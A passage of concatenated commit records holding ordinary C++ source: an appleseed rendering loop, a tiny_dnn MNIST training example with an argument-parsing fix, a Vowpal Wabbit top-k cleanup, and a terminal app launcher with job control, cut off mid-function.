m_params);\n\n#endif\n\n#ifdef APPLESEED_WITH_OSL\n\n    \/\/ Initialize OSL.\n    OSLComponents osl_components(\n        m_project,\n        texture_store,\n        oiio_components.get_texture_system());\n\n    \/\/ Compile OSL shaders.\n    if (!osl_components.compile_osl_shaders(&abort_switch))\n        return IRendererController::AbortRendering;\n\n    \/\/ Don't proceed further if rendering was aborted.\n    if (abort_switch.is_aborted())\n        return m_renderer_controller->get_status();\n\n#endif\n\n    \/\/ If needed, open the display plugin.\n    CloseDisplayPluginOnScopeExit close_display;\n    ITileCallbackFactory* tile_callback_factory = m_tile_callback_factory;\n    if (tile_callback_factory == 0)\n    {\n        if (Display* display = m_project.get_display())\n        {\n            display->open(m_project);\n            close_display.set_display(display);\n            tile_callback_factory = display->get_tile_callback_factory();\n        }\n    }\n\n    \/\/ Create the renderer components.\n    RendererComponents components(\n        m_project,\n        m_params,\n        tile_callback_factory,\n        texture_store\n#ifdef APPLESEED_WITH_OIIO\n        , oiio_components.get_texture_system()\n#endif\n#ifdef APPLESEED_WITH_OSL\n        , osl_components.get_shading_system()\n#endif\n        );\n    if (!components.initialize())\n        return IRendererController::AbortRendering;\n\n    \/\/ Execute the main rendering loop.\n    const IRendererController::Status status =\n        render_frame_sequence(\n            components.get_frame_renderer()\n#ifdef APPLESEED_WITH_OSL\n            , osl_components.get_renderer_services()\n#endif\n            , abort_switch);\n\n    \/\/ Print texture store performance statistics.\n    RENDERER_LOG_DEBUG(\"%s\", texture_store.get_statistics().to_string().c_str());\n\n    return status;\n}\n\nIRendererController::Status MasterRenderer::render_frame_sequence(\n    IFrameRenderer&         frame_renderer\n#ifdef APPLESEED_WITH_OSL\n    , RendererServices&     renderer_services\n#endif\n    , IAbortSwitch&         abort_switch)\n{\n    while (true)\n    {\n        assert(!frame_renderer.is_rendering());\n\n        \/\/ The on_frame_begin() method of the renderer controller might alter the scene\n        \/\/ (e.g. transform the camera), thus it needs to be called before the on_frame_begin()\n        \/\/ of the scene which assumes the scene is up-to-date and ready to be rendered.\n        m_renderer_controller->on_frame_begin();\n\n        \/\/ Prepare the scene for rendering. Don't proceed if that failed.\n        if (!m_project.get_scene()->on_frame_begin(m_project, &abort_switch))\n        {\n            m_renderer_controller->on_frame_end();\n            return IRendererController::AbortRendering;\n        }\n\n        \/\/ Don't proceed with rendering if scene preparation was aborted.\n        if (abort_switch.is_aborted())\n        {\n            m_renderer_controller->on_frame_end();\n            return m_renderer_controller->get_status();\n        }\n\n#ifdef APPLESEED_WITH_OSL\n        renderer_services.initialize();\n#endif\n\n        frame_renderer.start_rendering();\n\n        const IRendererController::Status status = wait_for_event(frame_renderer);\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n          case IRendererController::AbortRendering:\n          case IRendererController::ReinitializeRendering:\n            frame_renderer.terminate_rendering();\n            break;\n\n          case IRendererController::RestartRendering:\n            frame_renderer.stop_rendering();\n            break;\n\n          assert_otherwise;\n        }\n\n        assert(!frame_renderer.is_rendering());\n\n        m_project.get_scene()->on_frame_end(m_project);\n        m_renderer_controller->on_frame_end();\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n          case IRendererController::AbortRendering:\n          case IRendererController::ReinitializeRendering:\n            return status;\n\n          case IRendererController::RestartRendering:\n            break;\n\n          assert_otherwise;\n        }\n    }\n}\n\nIRendererController::Status MasterRenderer::wait_for_event(IFrameRenderer& frame_renderer) const\n{\n    while (true)\n    {\n        if (!frame_renderer.is_rendering())\n            return IRendererController::TerminateRendering;\n\n        const IRendererController::Status status = m_renderer_controller->get_status();\n\n        if (status != IRendererController::ContinueRendering)\n            return status;\n\n        m_renderer_controller->on_progress();\n\n        foundation::sleep(1);   \/\/ namespace qualifer required\n    }\n}\n\nbool MasterRenderer::bind_scene_entities_inputs() const\n{\n    InputBinder input_binder;\n    input_binder.bind(*m_project.get_scene());\n    return input_binder.get_error_count() == 0;\n}\n\n}   \/\/ namespace renderer\n<|endoftext|>"}
{"text":"<commit_before>\/*\nThe MIT License\n\nCopyright (c) 2017-2017 Albert Murienne\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"tiny_dnn\/tiny_dnn.h\"\n\n#include \"adamax.h\"\n\n#include <iostream>\n\nusing namespace tiny_dnn;\nusing namespace tiny_dnn::layers;\nusing namespace tiny_dnn::activation;\n\nstatic void construct_net(  network<sequential> &nn, core::backend_t backend_type )\n{\n    \/\/ construct nets\n    \/\/\n    \/\/ C : convolution\n    \/\/ S : sub-sampling\n    \/\/ F : fully connected\n    \/\/ clang-format off\n    nn  << conv( 32, 32, 5, 1, 12 ) << relu() \/\/ C1, 1@32x32-in, 12@28x28-out\n        << max_pool( 28, 28, 12, 2 ) \/\/ S2, 12@28x28-in, 12@14x14-out\n        << conv( 14, 14, 5, 12, 25 ) << relu() \/\/ C3, 12@14x14-in, 25@10x10-out\n        << max_pool( 10, 10, 25, 2 ) \/\/ S4, 25@10x10-in, 25@5x5-out\n        << fc( 625, 180 ) << relu() \/\/ F5, 625-in, 180-out\n        << dropout( 180, 0.5f )\n        << fc( 180, 100 ) << relu() \/\/ F6, 180-in, 100-out\n        << dropout( 100, 0.5f )\n        << fc( 100, 10 ) << softmax_layer(10); \/\/ F7, 100-in, 10-out\n    \/\/ clang-format on\n\n    nn.weight_init( weight_init::he() );\n    nn.bias_init( weight_init::he() );\n}\n\nstatic void train_mnist(    const std::string &data_dir_path,\n                            const int n_train_epochs,\n                            const int n_minibatch,\n                            core::backend_t backend_type )\n{\n    \/\/ specify loss-function and learning strategy\n    network<sequential> nn;\n    adamax optimizer;\n\n    construct_net( nn, backend_type );\n\n    std::cout << \"load models...\" << std::endl;\n\n    \/\/ load MNIST dataset\n    std::vector<label_t> train_labels, test_labels;\n    std::vector<vec_t> train_images, test_images;\n\n    parse_mnist_labels( data_dir_path + \"\/train-labels.idx1-ubyte\", &train_labels);\n    parse_mnist_images( data_dir_path + \"\/train-images.idx3-ubyte\", &train_images, -1.0, 1.0, 2, 2 );\n    parse_mnist_labels( data_dir_path + \"\/t10k-labels.idx1-ubyte\", &test_labels);\n    parse_mnist_images( data_dir_path + \"\/t10k-images.idx3-ubyte\", &test_images, -1.0, 1.0, 2, 2 );\n\n    std::cout << \"start training\" << std::endl;\n\n    progress_display disp( train_images.size() );\n    timer t;\n\n    \/\/ What is this for?\n    \/\/optimizer.alpha *= std::min( tiny_dnn::float_t(4),\n    \/\/    static_cast<tiny_dnn::float_t>( sqrt( n_minibatch ) * learning_rate ) );\n\n    int epoch = 1;\n\n    \/\/ create callback\n    auto on_enumerate_epoch = [&]() {\n        std::cout << \"Epoch \" << epoch << \"\/\" << n_train_epochs << \" finished. \"\n            << t.elapsed() << \"s elapsed.\" << std::endl;\n        ++epoch;\n        tiny_dnn::result res = nn.test( test_images, test_labels );\n        std::cout << res.num_success << \"\/\" << res.num_total << std::endl;\n\n        disp.restart( train_images.size() );\n        t.restart();\n    };\n\n    auto on_enumerate_minibatch = [&]() { disp += n_minibatch; };\n\n    \/\/ training\n    nn.train<cross_entropy_multiclass>( optimizer, train_images, train_labels, n_minibatch,\n        n_train_epochs, on_enumerate_minibatch, on_enumerate_epoch );\n\n    std::cout << \"end training.\" << std::endl;\n\n    \/\/ test and show results\n    nn.test( test_images, test_labels ).print_detail( std::cout );\n    \/\/ save network model & trained weights\n    nn.save( \"kaggle-mnist-model\" );\n}\n\nstatic void usage( const char *argv0 )\n{\n    std::cout   << \"Usage: \" << argv0 << \" --data_path path_to_dataset_folder\" << std::endl;\n}\n\nint main( int argc, char **argv )\n{\n    std::string data_path        = \"\";\n    int epochs                   = 30;\n    int minibatch_size           = 128;\n    core::backend_t backend_type = core::default_engine();\n\n    if ( argc == 2 )\n    {\n        std::string argname( argv[1] );\n        if ( argname == \"--help\" || argname == \"-h\" )\n        {\n            usage( argv[0] );\n            return 0;\n        }\n    }\n    else if ( argc == 4 )\n    {\n        std::string argname(argv[3]);\n        if ( argname == \"--data_path\" )\n        {\n            data_path = std::string( argv[4] );\n        }\n    }\n    else\n    {\n        std::cerr << \"Invalid command line\" << std::endl;\n        usage( argv[0] );\n        return -1;\n    }\n\n    if ( data_path == \"\" )\n    {\n        std::cerr << \"Data path not specified.\" << std::endl;\n        usage( argv[0] );\n        return -1;\n    }\n    std::cout   << \"Running with the following parameters:\" << std::endl\n                << \"Data path: \" << data_path << std::endl\n                << std::endl;\n    try\n    {\n        train_mnist( data_path, epochs, minibatch_size, backend_type );\n    }\n    catch( tiny_dnn::nn_error &err )\n    {\n        std::cerr << \"Exception: \" << err.what() << std::endl;\n    }\n    return 0;\n}\n<commit_msg>- messed up up with the args management.<commit_after>\/*\nThe MIT License\n\nCopyright (c) 2017-2017 Albert Murienne\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"tiny_dnn\/tiny_dnn.h\"\n\n#include \"adamax.h\"\n\n#include <iostream>\n\nusing namespace tiny_dnn;\nusing namespace tiny_dnn::layers;\nusing namespace tiny_dnn::activation;\n\nstatic void construct_net(  network<sequential> &nn, core::backend_t backend_type )\n{\n    \/\/ construct nets\n    \/\/\n    \/\/ C : convolution\n    \/\/ S : sub-sampling\n    \/\/ F : fully connected\n    \/\/ clang-format off\n    nn  << conv( 32, 32, 5, 1, 12 ) << relu() \/\/ C1, 1@32x32-in, 12@28x28-out\n        << max_pool( 28, 28, 12, 2 ) \/\/ S2, 12@28x28-in, 12@14x14-out\n        << conv( 14, 14, 5, 12, 25 ) << relu() \/\/ C3, 12@14x14-in, 25@10x10-out\n        << max_pool( 10, 10, 25, 2 ) \/\/ S4, 25@10x10-in, 25@5x5-out\n        << fc( 625, 180 ) << relu() \/\/ F5, 625-in, 180-out\n        << dropout( 180, 0.5f )\n        << fc( 180, 100 ) << relu() \/\/ F6, 180-in, 100-out\n        << dropout( 100, 0.5f )\n        << fc( 100, 10 ) << softmax_layer(10); \/\/ F7, 100-in, 10-out\n    \/\/ clang-format on\n\n    nn.weight_init( weight_init::he() );\n    nn.bias_init( weight_init::he() );\n}\n\nstatic void train_mnist(    const std::string &data_dir_path,\n                            const int n_train_epochs,\n                            const int n_minibatch,\n                            core::backend_t backend_type )\n{\n    \/\/ specify loss-function and learning strategy\n    network<sequential> nn;\n    adamax optimizer;\n\n    construct_net( nn, backend_type );\n\n    std::cout << \"load models...\" << std::endl;\n\n    \/\/ load MNIST dataset\n    std::vector<label_t> train_labels, test_labels;\n    std::vector<vec_t> train_images, test_images;\n\n    parse_mnist_labels( data_dir_path + \"\/train-labels.idx1-ubyte\", &train_labels);\n    parse_mnist_images( data_dir_path + \"\/train-images.idx3-ubyte\", &train_images, -1.0, 1.0, 2, 2 );\n    parse_mnist_labels( data_dir_path + \"\/t10k-labels.idx1-ubyte\", &test_labels);\n    parse_mnist_images( data_dir_path + \"\/t10k-images.idx3-ubyte\", &test_images, -1.0, 1.0, 2, 2 );\n\n    std::cout << \"start training\" << std::endl;\n\n    progress_display disp( train_images.size() );\n    timer t;\n\n    \/\/ What is this for?\n    \/\/optimizer.alpha *= std::min( tiny_dnn::float_t(4),\n    \/\/    static_cast<tiny_dnn::float_t>( sqrt( n_minibatch ) * learning_rate ) );\n\n    int epoch = 1;\n\n    \/\/ create callback\n    auto on_enumerate_epoch = [&]() {\n        std::cout << \"Epoch \" << epoch << \"\/\" << n_train_epochs << \" finished. \"\n            << t.elapsed() << \"s elapsed.\" << std::endl;\n        ++epoch;\n        tiny_dnn::result res = nn.test( test_images, test_labels );\n        std::cout << res.num_success << \"\/\" << res.num_total << std::endl;\n\n        disp.restart( train_images.size() );\n        t.restart();\n    };\n\n    auto on_enumerate_minibatch = [&]() { disp += n_minibatch; };\n\n    \/\/ training\n    nn.train<cross_entropy_multiclass>( optimizer, train_images, train_labels, n_minibatch,\n        n_train_epochs, on_enumerate_minibatch, on_enumerate_epoch );\n\n    std::cout << \"end training.\" << std::endl;\n\n    \/\/ test and show results\n    nn.test( test_images, test_labels ).print_detail( std::cout );\n    \/\/ save network model & trained weights\n    nn.save( \"kaggle-mnist-model\" );\n}\n\nstatic void usage( const char *argv0 )\n{\n    std::cout   << \"Usage: \" << argv0 << \" --data_path path_to_dataset_folder\" << std::endl;\n}\n\nint main( int argc, char **argv )\n{\n    std::string data_path        = \"\";\n    int epochs                   = 30;\n    int minibatch_size           = 128;\n    core::backend_t backend_type = core::default_engine();\n\n    if ( argc == 2 )\n    {\n        std::string argname( argv[1] );\n        if ( argname == \"--help\" || argname == \"-h\" )\n        {\n            usage( argv[0] );\n            return 0;\n        }\n    }\n    else if ( argc == 3 )\n    {\n        std::string argname(argv[1]);\n        if ( argname == \"--data_path\" )\n        {\n            data_path = std::string( argv[2] );\n        }\n    }\n    else\n    {\n        std::cerr << \"Invalid command line\" << std::endl;\n        usage( argv[0] );\n        return -1;\n    }\n\n    if ( data_path == \"\" )\n    {\n        std::cerr << \"Data path not specified.\" << std::endl;\n        usage( argv[0] );\n        return -1;\n    }\n    std::cout   << \"Running with the following parameters:\" << std::endl\n                << \"Data path: \" << data_path << std::endl\n                << std::endl;\n    try\n    {\n        train_mnist( data_path, epochs, minibatch_size, backend_type );\n    }\n    catch( tiny_dnn::nn_error &err )\n    {\n        std::cerr << \"Exception: \" << err.what() << std::endl;\n    }\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) by respective owners including Yahoo!, Microsoft, and\nindividual contributors. All rights reserved.  Released under a BSD (revised)\nlicense as described in the file LICENSE.\n *\/\n#include <float.h>\n#include <sstream>\n#include <queue>\n\n#include \"reductions.h\"\n#include \"vw.h\"\n\nnamespace TOPK {\n  typedef pair<float, v_array<char> > scored_example;\n  \n  struct compare_scored_examples\n  {\n    bool operator()(scored_example const& a, scored_example const& b) const\n    { return a.first > b.first; }\n  };\n  \n  struct topk{\n    uint32_t B; \/\/rec number\n    priority_queue<scored_example, vector<scored_example>, compare_scored_examples > pr_queue;\n    vw* all;\n  };\n\n  void print_result(int f, priority_queue<scored_example, vector<scored_example>, compare_scored_examples > &pr_queue)\n  {\n    if (f >= 0)\n    {\n      char temp[30];\n      std::stringstream ss;\n      scored_example tmp_example;\n      while(!pr_queue.empty())\n      {\n        tmp_example = pr_queue.top(); \n        pr_queue.pop();       \n        sprintf(temp, \"%f\", tmp_example.first);\n        ss << temp;\n        ss << ' ';\n        print_tag(ss, tmp_example.second);\n        ss << ' ';\n        ss << '\\n';      \n      }\n      ss << '\\n';        \n      ssize_t len = ss.str().size();\n#ifdef _WIN32\n\t  ssize_t t = _write(f, ss.str().c_str(), (unsigned int)len);\n#else\n\t  ssize_t t = write(f, ss.str().c_str(), (unsigned int)len);\n#endif\n      if (t != len)\n        cerr << \"write error\" << endl;\n    }    \n  }\n\n  void output_example(vw& all, topk& d, example& ec)\n  {\n    label_data& ld = ec.l.simple;\n    \n    if (ld.label != FLT_MAX)\n      all.sd->weighted_labels += ld.label * ld.weight;\n    all.sd->weighted_examples += ld.weight;\n    all.sd->sum_loss += ec.loss;\n    all.sd->sum_loss_since_last_dump += ec.loss;\n    all.sd->total_features += ec.num_features;\n    all.sd->example_number++;\n \n    if (example_is_newline(ec))\n      for (int* sink = all.final_prediction_sink.begin; sink != all.final_prediction_sink.end; sink++)\n        TOPK::print_result(*sink, d.pr_queue);\n       \n    print_update(all, ec);\n  }\n\n  template <bool is_learn>\n  void predict_or_learn(topk& d, LEARNER::base_learner& base, example& ec)\n  {\n    if (example_is_newline(ec)) return;\/\/do not predict newline\n\n    if (is_learn)\n      base.learn(ec);\n    else\n      base.predict(ec);\n\n    if(d.pr_queue.size() < d.B)      \n      d.pr_queue.push(make_pair(ec.pred.scalar, ec.tag));\n\n    else if(d.pr_queue.top().first < ec.pred.scalar)\n    {\n      d.pr_queue.pop();\n      d.pr_queue.push(make_pair(ec.pred.scalar, ec.tag));\n    }\n  }\n\n  void finish_example(vw& all, topk& d, example& ec)\n  {\n    TOPK::output_example(all, d, ec);\n    VW::finish_example(all, &ec);\n  }\n\n  LEARNER::base_learner* setup(vw& all)\n  {\n    new_options(all, \"TOP K options\")\n      (\"top\", po::value<size_t>(), \"top k recommendation\");\n    if(missing_required(all)) return NULL;\n\n    topk& data = calloc_or_die<topk>();\n    data.B = (uint32_t)all.vm[\"top\"].as<size_t>();\n    data.all = &all;\n\n    LEARNER::learner<topk>& l = init_learner(&data, setup_base(all), predict_or_learn<true>, \n\t\t\t\t\t     predict_or_learn<false>);\n    l.set_finish_example(finish_example);\n\n    return make_base(l);\n  }\n}\n<commit_msg>topk simplifications<commit_after>\/*\nCopyright (c) by respective owners including Yahoo!, Microsoft, and\nindividual contributors. All rights reserved.  Released under a BSD (revised)\nlicense as described in the file LICENSE.\n *\/\n#include <sstream>\n#include <queue>\n\n#include \"reductions.h\"\n#include \"vw.h\"\n\nnamespace TOPK {\n  typedef pair<float, v_array<char> > scored_example;\n  \n  struct compare_scored_examples\n  {\n    bool operator()(scored_example const& a, scored_example const& b) const\n    { return a.first > b.first; }\n  };\n  \n  struct topk{\n    uint32_t B; \/\/rec number\n    priority_queue<scored_example, vector<scored_example>, compare_scored_examples > pr_queue;\n  };\n\n  void print_result(int f, priority_queue<scored_example, vector<scored_example>, compare_scored_examples > &pr_queue)\n  {\n    if (f >= 0)\n    {\n      char temp[30];\n      std::stringstream ss;\n      scored_example tmp_example;\n      while(!pr_queue.empty())\n      {\n        tmp_example = pr_queue.top(); \n        pr_queue.pop();       \n        sprintf(temp, \"%f\", tmp_example.first);\n        ss << temp;\n        ss << ' ';\n        print_tag(ss, tmp_example.second);\n        ss << ' ';\n        ss << '\\n';      \n      }\n      ss << '\\n';        \n      ssize_t len = ss.str().size();\n#ifdef _WIN32\n\t  ssize_t t = _write(f, ss.str().c_str(), (unsigned int)len);\n#else\n\t  ssize_t t = write(f, ss.str().c_str(), (unsigned int)len);\n#endif\n      if (t != len)\n        cerr << \"write error\" << endl;\n    }    \n  }\n\n  void output_example(vw& all, topk& d, example& ec)\n  {\n    label_data& ld = ec.l.simple;\n    \n    if (ld.label != FLT_MAX)\n      all.sd->weighted_labels += ld.label * ld.weight;\n    all.sd->weighted_examples += ld.weight;\n    all.sd->sum_loss += ec.loss;\n    all.sd->sum_loss_since_last_dump += ec.loss;\n    all.sd->total_features += ec.num_features;\n    all.sd->example_number++;\n \n    if (example_is_newline(ec))\n      for (int* sink = all.final_prediction_sink.begin; sink != all.final_prediction_sink.end; sink++)\n        TOPK::print_result(*sink, d.pr_queue);\n    \n    print_update(all, ec);\n  }\n  \n  template <bool is_learn>\n  void predict_or_learn(topk& d, LEARNER::base_learner& base, example& ec)\n  {\n    if (example_is_newline(ec)) return;\/\/do not predict newline\n    \n    if (is_learn)\n      base.learn(ec);\n    else\n      base.predict(ec);\n    \n    if(d.pr_queue.size() < d.B)      \n      d.pr_queue.push(make_pair(ec.pred.scalar, ec.tag));\n    \n    else if(d.pr_queue.top().first < ec.pred.scalar)\n      {\n\td.pr_queue.pop();\n\td.pr_queue.push(make_pair(ec.pred.scalar, ec.tag));\n      }\n  }\n  \n  void finish_example(vw& all, topk& d, example& ec)\n  {\n    TOPK::output_example(all, d, ec);\n    VW::finish_example(all, &ec);\n  }\n\n  LEARNER::base_learner* setup(vw& all)\n  {\n    new_options(all, \"TOP K options\")\n      (\"top\", po::value<size_t>(), \"top k recommendation\");\n    if(missing_required(all)) return NULL;\n\n    topk& data = calloc_or_die<topk>();\n    data.B = (uint32_t)all.vm[\"top\"].as<size_t>();\n\n    LEARNER::learner<topk>& l = init_learner(&data, setup_base(all), predict_or_learn<true>, \n\t\t\t\t\t     predict_or_learn<false>);\n    l.set_finish_example(finish_example);\n\n    return make_base(l);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>src: reading\/owner\/onread\/onconnection for tcp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>update uoj8581<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"apps_starter.h\"\n\nstd::vector<job> apps_vect;\t\t\t\/\/ Определение вектора запущенных программ\nstruct termios hos_tmode;\t\t\t\/\/ настройки терминала для hos\n\nvoid sighandler(int signo)\n{\n\tif (signo == SIGTSTP) {\n\n\t}\n\n\tif (signo == SIGINT) {\n\t\t\n\t}\n}\n\n\/\/ Спящего процесса возобновление\nvoid fg_job(job &j)\n{\n\tint status;\n\tstd::vector<job>::iterator it;\n\n\t\/\/ Терминальной группы главной установка\n\tj.running = true;\n\ttcsetpgrp(STDIN_FILENO, j.pid);\n\n\t\/\/ Спящий процесс будим мы\n\tkill(-j.pid, SIGCONT);\n\twaitpid(j.pid, &status, WUNTRACED);\n\n\tif(WIFSTOPPED(status)) {\n\t\tj.running = false;\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcgetattr(STDIN_FILENO, &j.tmode);\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\t}\n\n\t\/\/ Если завершился процесс - удаляем из вектора процессов его\n\tif(WIFEXITED(status)) {\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\t\tfor(it = apps_vect.begin() ; it < apps_vect.end(); ++it)\n\t\t\tif (it->pid == j.pid)\n\t\t\t\tapps_vect.erase(it);\n\t}\n}\n\n\/\/ Сигналов обработку определяем мы\nvoid init_signals()\n{\n\tsignal(SIGINT, &sighandler);\n\tsignal(SIGTSTP, &sighandler);\n\tsignal(SIGTTIN, SIG_IGN);\n\tsignal(SIGTTOU, SIG_IGN);\n}\n\n\/\/ Фоновых процессов список отображаем мы\nvoid list_process() {\n\ttimeout(-1);\n\n\tstd::vector <std::string>\tapps_names;\n\n\tDLGSTR\t\t\t\t\t\tapps_dlg\t= {};\n\n\tunsigned int\t\t\t\tmaxX,\n\t\t\t\t\t\t\t\tmaxY;\n\n\tint\t\t\t\t\t\t\tkey_pressed;\n\n\tgetmaxyx(stdscr, maxY, maxX);\n\n\tapps_dlg.title\t\t\t= \"Background applications\";\n\tapps_dlg.style\t\t\t= RED_WIN;\n\tapps_dlg.xpos\t\t\t= maxX \/ 2 - llength(apps_dlg.title) \/ 2;\n\tapps_dlg.ypos\t\t\t= maxY \/ 2;\n\tapps_dlg.ymax\t\t\t= maxY \/ 2;\n\tapps_dlg.border_menu\t= true;\n\n\t\/\/ Не делаем ничего, вектор если пуст\n\tif(!apps_vect.empty()) {\n\t\tfor (unsigned int\ti\t= 0; i < apps_vect.size(); i++) {\n\t\t\tapps_names.push_back(apps_vect[i].name);\n\t\t}\n\n\t\tkey_pressed\t= 0;\n\n\t\twhile (key_pressed != 27) {\n\t\t\tmenu_win(apps_dlg, apps_names);\n\t\t\tkey_pressed\t= getch();\t\t\t\t\t\/\/ пользователя ввод обрабатываем мы\n\n\t\t\tswitch (key_pressed) {\n\t\t\t\tcase KEY_UP:\tif (apps_dlg.selected != 0)\n\t\t\t\t\t\t\t\t\tapps_dlg.selected--;\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\tcase KEY_DOWN:\tif (apps_dlg.selected != apps_names.size())\n\t\t\t\t\t\t\t\t\tapps_dlg.selected++;\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\tcase '\\n':\t\t\/\/ процесс спящий мы будим\n\t\t\t\t\t\t\t\tendwin();\n\t\t\t\t\t\t\t\tfg_job(apps_vect[apps_dlg.selected - 1]);\n\t\t\t\t\t\t\t\tinit_display();\n\t\t\t\t\t\t\t\tinit_color();\n\t\t\t\t\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n}\n\nint app_start(int number_of_app, char** argv) {\n\tstd::string name_app\t= configurator(APPS_FILE, str(number_of_app) + \"_app_launcher\", \"\", false);\n\tstd::string path_to_dir\t= configurator(APPS_FILE, str(number_of_app) + \"_app_path\", \"\", false);\n\terase();\n\tendwin();\n\n\tint\t\tstatus;\n\tpid_t\tchpid\t= fork();\n\n\tjob j = {\n\t\t.name = name_app,\n\t\t.pid = chpid\n\t};\n\n\tj.running = true;\n\n\t\/\/ В запущенных процессов список процесс помещаем мы\n\tapps_vect.insert(apps_vect.end(), j);\n\n\tif (chpid == 0) {\n\t\tsignal(SIGTTIN, SIG_IGN);\n\t\tsignal(SIGTTOU, SIG_IGN);\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\tchdir(path_to_dir.c_str());\n\t\tsetpgid(getpid(), getpid());\t\t\t \t\/\/ Создаём группу процессов\n\t\tif (execl(name_app.c_str(), \"\", NULL) == -1) \t\/\/ parent process\n\t\t\texit(0);\n\t} else {\n\t\twaitpid(chpid, &status,WUNTRACED);\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcgetattr(STDIN_FILENO, &j.tmode);\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\n\t\tif (WIFSTOPPED(status)) {\t\/* Если пользователем процесс был остановлен *\/\n\t\t\tapps_vect.back().running = false;\n\t\t}\n\n\t\tif(WIFEXITED(status)) {\n\t\t\tapps_vect.pop_back();\n\t\t}\n\n\t\tinit_display();\n\t\tinit_color();\n\t}\n\treturn 0;\n}<commit_msg>Перевод на новое окно<commit_after>#include \"apps_starter.h\"\n\nstd::vector<job> apps_vect;\t\t\t\/\/ Определение вектора запущенных программ\nstruct termios hos_tmode;\t\t\t\/\/ настройки терминала для hos\n\nvoid sighandler(int signo)\n{\n\tif (signo == SIGTSTP) {\n\n\t}\n\n\tif (signo == SIGINT) {\n\t\t\n\t}\n}\n\n\/\/ Спящего процесса возобновление\nvoid fg_job(job &j)\n{\n\tint status;\n\tstd::vector<job>::iterator it;\n\n\t\/\/ Терминальной группы главной установка\n\tj.running = true;\n\ttcsetpgrp(STDIN_FILENO, j.pid);\n\n\t\/\/ Спящий процесс будим мы\n\tkill(-j.pid, SIGCONT);\n\twaitpid(j.pid, &status, WUNTRACED);\n\n\tif(WIFSTOPPED(status)) {\n\t\tj.running = false;\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcgetattr(STDIN_FILENO, &j.tmode);\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\t}\n\n\t\/\/ Если завершился процесс - удаляем из вектора процессов его\n\tif(WIFEXITED(status)) {\n\t\ttcsetpgrp(STDIN_FILENO, getpid());\n\t\ttcsetattr(STDIN_FILENO, TCSADRAIN, &hos_tmode);\n\t\tfor(it = apps_vect.begin() ; it < apps_vect.end(); ++it)\n\t\t\tif (it->pid == j.pid)\n\t\t\t\tapps_vect.erase(it);\n\t}\n}\n\n\/\/ Сигналов обработку определяем мы\nvoid init_signals()\n{\n\tsignal(SIGINT, &sighandler);\n\tsignal(SIGTSTP, &sighandler);\n\tsignal(SIGTTIN, SIG_IGN);\n\tsignal(SIGTTOU, SIG_IGN);\n}\n\n\/\/ Фоновых процессов список отображаем мы\nvoid list_process() {\n\tstd::vector <std::string>\tapps_names;\n\n\tInit_MENSTR(apps_menu);\n\n\tgetmaxyx(stdscr, apps_menu.posY, apps_menu.posX);\n\n\tapps_menu.posX\t\t= apps_menu.posX \/ 2 - 12;\n\tapps_menu.posY\t\t= apps_menu.posY \/ 2;\n\tapps_menu.posXmax\t= 25;\n\n\t\/\/ Не делаем ничего, вектор если пуст\n\tif(!apps_vect.empty()) {\n\t\tfor (unsigned int\ti\t= 0; i < apps_vect.size(); i++) {\n\t\t\tapps_names.push_back(apps_vect[i].name);\n\t\t}\n\n\t\tunsigned int\tselected\t= menu_winV2(&apps_menu, \"Background applications\", apps_names, main_system_color);\n\n\t\tif (selected != 0) {\t\/\/ процесс спящий мы будим\n\t\t\tendwin();\n\t\t\tfg_job(apps_vect[selected - 